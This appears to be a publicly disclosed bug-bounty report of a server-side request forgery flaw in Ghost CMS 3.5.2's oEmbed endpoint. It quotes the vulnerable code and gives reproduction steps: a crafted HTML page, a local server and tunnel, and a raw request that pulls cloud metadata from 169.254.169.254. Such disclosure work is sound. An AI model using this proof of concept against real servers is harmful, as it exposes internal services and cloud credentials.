HexBrain

Node.js third-party modules · Report #793704

Server-Side Request Forgery (SSRF) in Ghost CMS

Validstatus
mediumseverity
43upvotes
9 Mar 2020disclosed

How it was found

I would like to report about SSRF vulnerability in CMS Ghost blog

It allows attacker able to send a crafted GET request from a vulnerable web application

Module

module name: ghost version: 3.5.2 npm page: https://www.npmjs.com/package/ghost website page https://ghost.org/

Module Description

Ghost is the world’s most popular open source headless Node.js CMS.

Module Stats

4,812 weekly downloads

This CMS is used around 512,000 times for creating Blogs in 2018 according to Ghost statics. Currently the biggest customers of this blog are: Apple, Elon Musk's OpenAI team, Tinder, DigitalOcean, DuckDuckGo, Mozilla, Airtable, Revolt, etc.

Vulnerability

Attacker with publisher role (editor, author, contributor, administrator) in a blog may be able to leverage this to make arbitrary GET requests in a CMS Ghost Blog instance's to internal / external network.

Vulnerability Description

CMS Ghost allows publishers to set up embed content from many sources (like Youtube, Twitter, Instagram, etc). F713079

When click you click on the “Other…” button you can see the following input. F713080 This input are send request to the route which is vulnerable for the SSRF attack. Let's discover it! When you try to pass some URL into this input we receive response like that:

GET /ghost/api/v3/admin/oembed/?url=http://169.254.169.254/metadata/v1.json&type=embed

F713081 In my case I trying to receive DigitalOcean MetaData from my server.

But, sadly In that moment we receive only validation error. That’s because responsible for that function query() doesn’t receive any content from function fetchOembedData().

File: /Ghost/core/server/api/canary/oembed.js

module.exports = {
    docName: 'oembed',
    read: {
        permissions: false,
        data: [
            'url',
            'type'
        ],
        options: [],
        query({data}) {
            let {url, type} = data;

            if (type === 'bookmark') {
                return fetchBookmarkData(url);
            }

            return fetchOembedData(url).then((response) => {
                if (!response && !type) {
                    return fetchBookmarkData(url);
                }
                return response;
            }).then((response) => {
                if (!response) {
                    return unknownProvider(url);
                }
                return response;
            }).catch(() => {
                return unknownProvider(url);
            });
        }
    }
};

If we add breakpoint in fetchOembedData() function. And when will go across all lines of code in this function. We will notice interesting function that is call getOembedUrlFromHTML()

File: /Ghost/core/server/api/canary/oembed.js

function fetchOembedData(url) {
    let provider;
    ({url, provider} = findUrlWithProvider(url));
    if (provider) {
        return knownProvider(url);
    }
    return request(url, {
        method: 'GET',
        timeout: 2 * 1000,
        followRedirect: true,
        headers: {
            'user-agent': 'Ghost(https://github.com/TryGhost/Ghost)'
        }
    }).then((response) => {
        if (response.url !== url) {
            ({url, provider} = findUrlWithProvider(response.url));
        }
        if (provider) {
            return knownProvider(url);
        }
        const oembedUrl = getOembedUrlFromHTML(response.body);
        if (oembedUrl) {
            return request(oembedUrl, {
                method: 'GET',
                json: true
            }).then((response) => {
                return response.body;
            }).catch(() => {});
        }
    });
}

This function is responsible for getting oEmbed URL from external resources.

File: /Ghost/core/server/api/canary/oembed.js

const getOembedUrlFromHTML = (html) => {
    return cheerio('link[type="application/json+oembed"]', html).attr('href');
};

"oEmbed is a format for allowing an embedded representation of a URL on third party sites. The simple API allows a website to display embedded content (such as photos or videos) when a user posts a link to that resource, without having to parse the resource directly."

And here we can notice before and after executing getOembedUrlFromHTML() function don’t exist any validation which can prevent against from the SSRF attacks.

Steps To Reproduce:

Currently, we know how we can bypass validation in vulnerable route and now we can easily create exploit for this.

First of all, we should create an HTML page with "link[type="application/json+oembed”]” malicious URL which we would like to discover:

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8">
   <title>Security Testing</title>
   <link rel="alternate" type="application/json+oembed" href="http://169.254.169.254/metadata/v1.json"/>
</head>
<body></body>
</html>

And serve this page by the Python SimpleHTTPServer module:

python -m SimpleHTTPServer 8000

If your target is located in not your local network you can use ngrok library for creating a tunnel to your HTML page.

And send the following request with publisher Cookies

GET /ghost/api/v3/admin/oembed/?url=http://169.254.169.254/metadata/v1.json&type=embed HTTP/1.1
Host: YOUR_WEBSITE
Connection: keep-alive
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
X-Ghost-Version: 3.5
App-Pragma: no-cache
User-Agent: Mozilla/5.0
Content-Type: application/json; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US;
Cookie: ghost-admin-api-session=YOUR_SESSION

And we finally receive a response from the internal DigitalOcean service with my Droplet MetaData. SSRF vulnerability is working! 🥳

F713098

Supporting Material/References:

  • OS: macOS current
  • Node.js: 10.15.2
  • NPM: 6.11.3

Wrap up

  • I contacted the maintainer to let them know: Yes
  • I opened an issue in the related repository: No

Impact

Attacker with publisher role (editor, author, contributor, administrator) in a blog may be able to leverage this to make arbitrary GET requests in a Ghost Blog instance's to internal / external network.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original